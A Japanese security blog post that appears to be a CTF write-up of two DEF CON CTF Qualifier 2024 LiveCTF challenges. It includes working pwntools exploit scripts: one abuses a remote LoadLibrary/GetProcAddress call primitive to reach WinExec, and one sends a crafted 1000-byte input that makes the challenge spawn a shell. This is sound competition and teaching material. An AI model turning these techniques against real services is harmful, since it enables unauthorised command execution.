NFLabs. エンジニアブログ

セキュリティやソフトウェア開発に関する情報を発信する技術者向けのブログです。

DEF CON CTF Qualifier 2024 LiveCTF 2問Writeup

概要

  • DEF CON CTF Qualifier 2024で、Team Enuは22位の成績を収めました。
  • 本記事では、LiveCTFのdurnkとtrickshotの2問を解説します。

はじめに

こんにちは、研究開発部の末廣です。CTFイベントDEF CON CTF Qualifier 20241に、NTTグループ有志と、募集2に応募いただいた学生の合同チームTeam Enu3で参加しました。コンテスト期間は2024/05/04~2024/05/06の48時間と、ゴールデンウィークまっただ中でした。取り組まれた皆様お疲れ様でした!

結果、263チーム中22位の成績を収めました。

筆者はLiveCTF問題の4問目と6問目の2問で得点に貢献できました。本記事ではその2問を解説します。

LiveCTFとは

LiveCTFとは、昨年から出題されるようになった、次の形式のジャンルです。

  • 4時間ごとに6個の問題が出題されます。
  • 各問題に解答できる期間は、出題から4時間以内のみです。
  • 各問題では、クライアント側プログラムのテンプレートや、サーバー側プログラム、テスト用スクリプトが配布されます。クライアント側プログラムを適切に実装して、最終的にサーバー側で./submitterプログラムを起動させられるとフラグを得られて正解できます。
  • 各問題正解時に得られる得点は、その問題に最初に正解したチームは50点で、以降6分ごとに1点ずつ減少します。
    • ただ今回の1問目では、初期の配布ファイルに不備があったことから、正解できたチームは一律で50点獲得できました。
  • 各問題の解答期間が終了した後に、LiveCTF用のYouTubeチャンネル4でいくつかのチームの解法が紹介されます。

昨年にも弊社ブログで紹介記事を公開しているので、よろしければそちらもご覧ください。

blog.nflabs.jp

なお、LiveCTFが今年もあるかどうかは、コンテスト開始までは全く情報がありませんでした。コンテスト中にLiveCTFジャンル問題が出現したことで、今回もLiveCTFがあると分かりました。また各問題のジャンルは、昨年では各問題開始後に配布ファイルを見て初めて分かりましたが、今年はスケジュールに明記されていました。

LiveCTF用サイトのスケジュール表示

durnk (Chall 4: pwn, winapi)

サーバー側プログラムの解析

サーバー側プログラムは、wine経由でchallenge.exeを起動するものです。challenge.exeはx64 PEで、解析すると次の処理を行うプログラムだと分かりました。

  1. クライアント側が指定したDLLを使って、サーバー側でLoadLibraryA関数を呼び出します。結果のモジュールハンドルをクライアントへ応答します。
  2. クライアント側が指定したAPI名と、手順1結果のモジュールハンドルを使って、サーバー側でGetProcAddress関数を呼び出して関数アドレスを取得します。
  3. クライアント側が指定した64-bit整数を引数として、サーバー側で手順2結果の関数アドレスを呼び出します。呼び出し結果をクライアントへ応答します。
  4. 1~3を繰り返します。なお、1や2の処理に失敗した場合は終了します。

なお、配布ファイルにはkernel32.dllmsvcrt.dllも含まれます。必要なら、それらのファイル内容に依存した処理も可能だと思います。

正解までの道のり

筆者がテスト環境を構築している間に、チームメンバーから具体的なコードとともに、次の方針でローカルではうまく実行できたとの情報がありました。

  1. msvcrt.dllmalloc関数を、適当なサイズを引数に呼び出し、メモリを確保させてアドレスを取得
  2. msvcrt.dllgets関数を、手順1で確保したアドレスを引数に呼び出し、その後に実行コマンド./submitterを入力
  3. msvcrt.dllsystem関数5を、手順1で確保したアドレスを引数に呼び出し、手順2で入力したコマンドを実行

ただ残念ながら、テスト環境構築後に試すとsystem関数が-1を返しました。その値は呼び出しエラーを意味します。system関数呼び出し前にputs関数を呼び出しを挟んで確認すると、手順2で入力した内容が適切に保存されていることは確認できました。何らかの理由でsystem関数がうまく動作しない環境と考えました。

system関数以外の、第1引数にコマンドを指定できる関数を探すと、kernel32.dllWinExec関数6が見つかり、試してみると無事にコマンドを実行できました!なお、本来のWinExec関数は引数を2個取る関数であるため、今回の実行方法では第2引数のuCmdShowに不定値が入りそうです。ただもしかしたら、uCmdShow引数はCUIプログラムには影響しない値なのかもしれません。

最終的に、次のクライアント側プログラムを提出して正解できました。提出する速さが大事なのでコメントアウトした行が混ざっていますが御愛嬌ということでお願いします。

#!/usr/bin/env python3

from pwn import *
context.log_level = "CRITICAL"
import time

HOST = os.environ.get('HOST', 'localhost')
PORT = 31337

io = remote(HOST, int(PORT))

def function(module, funcname, arg):
    io.recvuntil(b"Which module would you like to load?")
    io.sendline(module)
    io.recvuntil(b"What function do you want to call?")
    io.sendline(funcname)
    io.recvuntil(b"What value do you want for the first argument?")
    io.sendline(str(arg).encode())


function(b"msvcrt.dll", b"malloc", 32)
io.recvuntil(b"Result:")
addr = int(io.recvline().rstrip(), 16)

function(b"msvcrt.dll", b"gets", addr)
# io.sendline(b"dir")
# io.sendline(b'echo "abc"')
io.sendline(b"./submitter")

function(b"msvcrt.dll", b"puts", addr)


function(b"kernel32.dll", b"WinExec", addr)
context.log_level = "DEBUG"
# function(b"msvcrt.dll", b"system", addr) # なぜか何を試しても-1が返って実行できない


time.sleep(1)
print(io.clean())

問題開始から3時間4分後に正解できて、23点を獲得できました。

正解までに時間がかかってしまった理由として、テスト環境の構築中に筆者マシンのディスク容量が尽きてしまったせいか、数十分待っても構築中のまま止まっていたことがあります。ディスク容量を確保するために不要ファイルを削除したり、マシンの動作が不安定になっていたため再起動が必要になってしまい、動作確認ができるまでに時間がかかってしまいました……。このようなマシン環境の整備も一種の準備、という教訓になりました。

system関数では失敗した理由

system関数を使う方法では失敗した理由をコンテスト後に調べました。Microsoft社のsystem関数のドキュメントによると、system関数呼び出しがエラーになる場合には、-1を返しつつ、グローバル変数errnoへエラーコードを設定します。_get_errno関数7を使えばerrno内容を取得できるため、クライアント側プログラムから、サーバー側のerrno内容を読み取れます。次のクライアント側プログラムを実行して確認しました。

#!/usr/bin/env python3

from pwn import *
context.log_level = "DEBUG"
import time

HOST = os.environ.get('HOST', 'localhost')
PORT = 31337

io = remote(HOST, int(PORT))

def function(module, funcname, arg):
    io.recvuntil(b"Which module would you like to load?")
    io.sendline(module)
    io.recvuntil(b"What function do you want to call?")
    io.sendline(funcname)
    io.recvuntil(b"What value do you want for the first argument?")
    io.sendline(str(arg).encode())

function(b"msvcrt.dll", b"malloc", 32)
io.recvuntil(b"Result:")
addr_for_errno = int(io.recvline().rstrip(), 16)
function(b"msvcrt.dll", b"gets", addr_for_errno)
io.sendline(b"XXXX") # 念のため[4]をNUL文字へ設定

function(b"msvcrt.dll", b"malloc", 32)
io.recvuntil(b"Result:")
addr = int(io.recvline().rstrip(), 16)
function(b"msvcrt.dll", b"gets", addr)
io.sendline(b"./submitter")
function(b"msvcrt.dll", b"puts", addr) # 実行コマンドを書き込めていることを確認

function(b"msvcrt.dll", b"system", addr) # なぜか何を試しても-1が返って実行できない

function(b"msvcrt.dll", b"_get_errno", addr_for_errno) # system関数呼び出し後のerrnoを調査
function(b"msvcrt.dll", b"puts", addr_for_errno) # errno内容を強引に文字列として表示
print(f"{io.recvline().hex() = }") # \r\nのみ
print(f"{io.recvline().hex() = }") # "Alright, we're calling it!\r\n"
print(f"{io.recvline().hex() = }") # \x02\r\nなので、system関数呼び出し後のerrnoは2の模様

# function(b"kernel32.dll", b"WinExec", addr)
# context.log_level = "DEBUG"

time.sleep(1)
print(io.clean())

コードのコメントにも書いていますが、実行結果はerrno2が設定されたことを示しました。手元のVisual Studioで各種マクロに対応する数値を調べると、ENOENT2であることが分かりました。ドキュメントによると、system関数がerrnoENOENTを設定する場合とは、The command interpreter can't be found.な場合とのことです。おそらく、つまりはcmd.exeshが紐づけられていない状況のようです。wine経由で実行されている環境だと、そのような状況になるのかもしれません。

trickshot (Chall 6: reversing)

サーバー側プログラムの解析

サーバー側プログラムはchallenge.pytrickshotで構成されています。エントリーポイント相当のchallenge.pyは、次の処理を行います。

  1. 1000バイトの入力をクライアント側から受け取ります。
  2. 1で受け取った入力でtrickshotを起動して、出力内容から後述するスコアやボーナスを取得します。
  3. ボーナスに応じてスコアを乗算します。また、ボーナスを5個すべて獲得していると、点数に600000点を追加します。
  4. 最終点数が640000点以上なら/bin/shを起動します。

trickshotはx64 ELFで、解析すると次の処理を行うプログラムだと分かりました。

  1. 1000バイトの入力を取ります。以降、0-indexedで記述します。
  2. 入力の6バイト目から4バイトを使って、checkAlignment関数を呼び出し、条件が合えばBONUS MULT x2: You really connected!ボーナスを出力します。
  3. 次の処理を100回行います。
    1. これまでの実行内容を使って、今回の処理では入力中のどの10バイトを使うかを、10バイト単位で計算します。
      • 具体的にはp = &input[10 * ((value1 * total_power + loop_count + value_from_input_4_5) % 100)];のように計算します。
    2. 1で計算した10バイトを、ループカウンターだけ減算した値へ変更します。
      • 具体的にはfor ( i = 0; i <= 9; p[i++] -= loop_count ) {}のように変更します。
    3. 2結果の10バイトについて、先頭1バイトによって判定内容を分岐して、各種スコア計算やボーナス判定を行います。ボーナスの判定方法は後述します。
  4. 最終スコアを出力します。このときは、各種ボーナスの2倍処理等は未反映の状況です。

スコア計算式は比重が小さいので省略します。ボーナスには次の5種類があります。いずれのボーナスも最大1回だけ獲得できます。

  1. BONUS MULT x2: You really connected!、入力1000バイトの6~9バイト目を使ったcheckAlignment関数呼び出しが非0を返すと獲得できます。
    • 試してみると、6~9バイト目をすべて同一バイトにすると獲得できるようです。他の場合でも獲得できるようですが詳細な条件は未調査です。
  2. BONUS MULT x2: threading the needle!、今回のループで使う10バイトについて、trickshot次の条件をすべて満たすと獲得できます。
    • 10バイトの0バイト目が\x04
    • 10バイトの1~4バイト目の内容がfUzZ
    • 10バイトの6~9バイト目の内容がtHiS
  3. BONUS MULT x%d: Wiggle bonus!、今回のループで使う10バイトについて、trickshot次の条件をすべて満たすと獲得できます。
    • 10バイトの0バイト目が\x10
    • 10バイトの1~7バイト目がすべて\x55
  4. BONUS MULT x%d: Mad skills!、今回のループで使う10バイトについて、trickshot次の条件をすべて満たすと獲得できます。
    • 10バイトの0バイト目が\x40
    • 10バイトの4バイト目以降の内容が1337
  5. BONUS MULT x%d: Wiggle bonus!、今回のループで使う10バイトについて、trickshot次の条件をすべて満たすと獲得できます。
    • 10バイトの0バイト目が\x80
    • 10バイト目の1~4バイト目と5~8バイト目をそれぞれlittle-endianのuint32_tとして解釈したとき、それぞれが非0で、かつ合計が2**32

正解までの道のり

ボーナスを5個すべて獲得する入力を作ることにしました。600000点が追加されるため、それまでのスコアとボーナスの乗算結果と合わせて、目標スコアの640000に到達できると考えたためです。

入力を考えるためには、特定の1000バイトを入力にtrickshotを実行する場合に、100回ループ中の各回で、どの10バイトを使用しているのかを知りたいです。方法を調べた結果、gdbコマンドでデバッグ実行してmain+0x1EBへブレークポイントを貼り、ブレーク時に$raxレジスタ内容を確認すればいいと分かりました。また、gdbcommandsコマンドを併用すればブレークポイントヒット時に自動的にレジスタ内容を表示しつつ、続行できることも分かりました。

後は、入力を作りやすくするためにできるだけ先頭の方の10バイトから使うように入力内容を調整しつつ、5個すべてのボーナスを獲得できる入力を表現するコードを作成しました。最終的に、次のプログラムとなりました。

import pwn

io = pwn.process(["gdb", "-q", "--nx", "./handout/trickshot"])

PROMPT = b"(gdb)"
PROMPT_IN_COMMANDS = b">"

io.sendlineafter(PROMPT, b"b *(main+0x1EB)")
io.sendlineafter(PROMPT, b"commands")
io.sendlineafter(PROMPT_IN_COMMANDS, b"silent")
io.sendlineafter(PROMPT_IN_COMMANDS, b'printf "index:%d, value=0x%02x, boundCount=%d\\n", $rax, (*(char*)($rdx+$rax) & 0xff), *(int*)($rbp-0x4b0)')
io.sendlineafter(PROMPT_IN_COMMANDS, b"continue")
io.sendlineafter(PROMPT_IN_COMMANDS, b"end")

# \x80の確認
# io.sendlineafter(PROMPT, b"b *(main+0x81D)")

# \x04ボーナスの確認
# io.sendlineafter(PROMPT, b"b *(main+0x355)")
io.sendlineafter(PROMPT, b"run")


def adjust(b:bytes, bounded_count, padding:bytes)->bytes:
    b = bytearray(b)
    while len(b) < 10:
        b += padding
    for i in range(len(b)):
        b[i] = (b[i] + bounded_count) % 256
    return b

# connected bonus
payload = b"3" * 70

# roof bonus
roof_value = 0x12345678
payload += adjust(b"\x80" + pwn.p32(roof_value) + pwn.p32(2**32 - roof_value), 0, b"|")
payload += b"y" * (80 - len(payload))

# BONUS MULT x%d: Mad skills!
payload += adjust(b"\x40" + b"   " + b"1337", 5, b"!")
payload += b"A" * (100 - len(payload))


# BONUS MULT x%d: Wiggle bonus!
payload += adjust(b"\x10" + b"\x55"*7, 15, b"!")
payload += b"A" * (560 - len(payload))
# threading the needle!
payload += adjust(b"\x04" + b"fUzZ tHiS", 17, b"A")

payload += b"A" * (1000 - len(payload))
io.sendafter(b'SHOW ME WHAT YOU GOT\n', payload)

# io.interactive(prompt="")

io.sendline(b"quit")
print(io.recvall().decode())

無事に5個すべてのボーナスを獲得できる入力を作れたので、後は提出用のクライアント側プログラムへ移植しました。最後に./submitterプログラムを起動する入力を追加し、最終的に次のクライアント側プログラムになりました。

#!/usr/bin/env python3

from pwn import *
import time

HOST = os.environ.get('HOST', 'localhost')
PORT = 31337

# context.log_level = "DEBUG"

io = remote(HOST, int(PORT))

def solve(io):
    def adjust(b:bytes, bounded_count, padding:bytes)->bytes:
        b = bytearray(b)
        while len(b) < 10:
            b += padding
        for i in range(len(b)):
            b[i] = (b[i] + bounded_count) % 256
        return b

    # connected bonus
    payload = b"3" * 70

    # roof bonus
    roof_value = 0x12345678
    payload += adjust(b"\x80" + p32(roof_value) + p32(2**32 - roof_value), 0, b"|")
    payload += b"y" * (80 - len(payload))

    # BONUS MULT x%d: Mad skills!
    payload += adjust(b"\x40" + b"   " + b"1337", 5, b"!")
    payload += b"A" * (100 - len(payload))


    # BONUS MULT x%d: Wiggle bonus!
    payload += adjust(b"\x10" + b"\x55"*7, 15, b"!")
    payload += b"A" * (560 - len(payload))
    # threading the needle!
    payload += adjust(b"\x04" + b"fUzZ tHiS", 17, b"A")

    payload += b"A" * (1000 - len(payload))
    # io.sendafter(b'SHOW ME WHAT YOU GOT\n', payload)
    io.recvuntil(b"Setting you up for a trickshot...")
    time.sleep(0.1)
    io.send(payload)
    print(f"{len(payload) = }")

    # io.sendlineafter(b"Final score: ", b"./submitter")
    time.sleep(1.0)
    io.sendline(b"./submitter")
    while True:
        print(io.recvline())

solve(io)

問題開始から2時間8分後に正解できて、35点を獲得できました。

なお、目標スコアを達成して/bin/shを起動できる場合、サーバー側プログラムからの出力が実行開始時のSetting you up for a trickshot...だけになりました。当初はクライアント側プログラムではサーバー側プログラムからのFinal score:出力を待つつもりでしたが、その出力がないため動かない状況でした。20分ほどデバッグして、Final score:表示を待たずに./submitterプログラムを起動すれば上手くいくことに気付き、なんとか正解できました。

標準出力のバッファリングとsystem関数

想定する出力がなかった理由をコンテスト後に調べると、バッファリングによるものと分かりました。Githubのissue comment8やPythonコード9によると、Unixのisatty関数を使って出力先がTTYかどうか調べて、TTYの場合は行バッファリングを、そうでない場合は大きなバッファを使ったバッファリングを行うとのことです。今回の問題の場合はDocker内部で実行されるので出力先はTTYではないため、大きなバッファを使ったバッファリング、おそらくフルバッファリングが使われます。challenge.pyで標準出力をフラッシュしている箇所はSetting you up for a trickshot...の出力直後だけであるため、それ以降の出力はバッファリングされてフラッシュ待ちの状態のままos.system("/bin/sh")が実行されます。

Pythonのos.system関数のドキュメント10には、C標準関数のsystem関数を使って実装されており、同様の制限があるとの記述があります。C標準関数のsystem関数の解説ページ11での注記欄を見ると、新規作成するプロセスが何らかのスクリーン入出力を行う場合はsystem関数を呼び出す前にstd::coutを明示的にフラッシュする必要があるとの記述があります。ここでstd::coutはC++における標準出力用オブジェクトです。これらの記述から、Pythonから使用する場合も同様に、os.system関数を呼び出す前に標準出力をフラッシュしておく必要があると言えそうです。今回の問題では標準出力がフラッシュされないままos.system("/bin/sh")が実行されるため、結果としてFinal score:等の出力がないまま/bin/shが起動する動作になったと納得できました。

なお、目標スコアに達しない場合ではchallenge.py最後のI know you can do better!まですべて出力される理由は、Pythonプロセスが終了するためOSなどによって自動的にフラッシュされるためと考えています。

おわりに

コンテストではLiveCTF以外にも多くの問題が出題されました。中には、1万個を超えるディレクトリそれぞれに1つの実行可能バイナリと数十個のSOが配置されており、大量のバイナリを効率的に自動化する必要がある問題など、ユニークな問題もありました。筆者はそれらの問題にも取り組みましたが、残念ながら得点に繋がりませんでした。より様々な問題も解けるように取り組みます。また、チームメンバーと問題の議論を重ねることは非常に面白く、充実した時間でした。

最後になりましたが、本記事がDEF CON CTFへ取り組んだ方や、これからCTFを始めようと考える方の参考になれば幸いです。